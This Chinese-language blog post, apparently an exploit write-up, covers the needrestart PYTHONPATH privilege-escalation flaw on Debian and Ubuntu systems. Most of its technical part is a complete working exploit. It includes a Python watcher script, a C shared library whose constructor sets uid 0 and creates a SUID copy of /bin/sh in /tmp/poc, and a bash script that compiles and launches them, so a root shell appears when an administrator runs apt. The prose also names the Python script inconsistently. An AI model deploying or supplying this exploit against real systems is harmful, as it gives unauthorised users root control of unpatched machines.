needrestart 是Ubuntu 和其他基于 Debian 的 Linux 发行版中常用的一个工具,主要用于检测系统中是否有需要重启的服务或内核模块。它在软件包更新后运行,帮助管理员识别哪些服务或进程需要重新启动以使更新生效。
受影响包版本
0.8 <= needrestart < 3.8
Qualys 发现,在 3.8 版本之前的 needrestart
存在漏洞,攻击者可以通过诱使 needrestart
使用带有攻击者控制的 PYTHONPATH
环境变量的 Python 解释器,从而以 root 权限执行任意代码
needrestart
是一个开源工具,用于检测 Linux 系统中是否存在因更新未完全生效而需要重启的进程或服务,默认在 apt 操作(如安装、升级、删除)或自动升级时运行
当执行apt操作时,needrestart
会检查 Python 进程是否需要重启。为了确定是否需要重启,needrestart
会从该进程的 /proc/pid/environ
文件中提取 PYTHONPATH
环境变量,并在存在此变量时将其设置(代码行 196)。然后,执行 Python 解释器,通过传递参数来从标准输入读取一个硬编码的脚本(代码行 204)
攻击者可以通过设置一个PYTHONPATH=/home/jane
环境变量,并在 /home/jane
中放置一个共享库 importlib/__init__.so
,当 needrestart
执行 Python 时,恶意库会被加载并执行,可执行任意代码
exp.py
import os
import time
if os.path.exists("/tmp/poc"):
os.remove('/tmp/poc')
while True:
if os.path.exists("/tmp/poc"):
print('Got the shell!')
os.system('/tmp/poc -p')
break
time.sleep(0.2)
这个脚本的作用是等待/tmp/poc
创建,并在该文件存在时执行一个命令 /tmp/poc -p
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc &";
system(shell);
}
这段 C 代码通过在程序启动时执行特定的命令来获取 root 权限并将一个 SUID shell 程序复制到 /tmp/poc
,从而提供一个权限提升的后门
.sh
#!/bin/bash
set -e
mkdir -p "$PWD/importlib"
gcc -shared -fPIC -o "$PWD/importlib/__init__.so" lib.c
PYTHONPATH="$PWD" python3 exp.py
这段 Bash 脚本的作用是编译 C 代码文件 (lib.c
) 为一个共享库,并将其放到一个目录中,然后通过设置恶意的 PYTHONPATH
环境变量来执行一个 Python 脚本 (e.py
),这个脚本会等待攻击者的控制
执行.sh脚本后,当管理员执行apt操作时就会返回shell
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!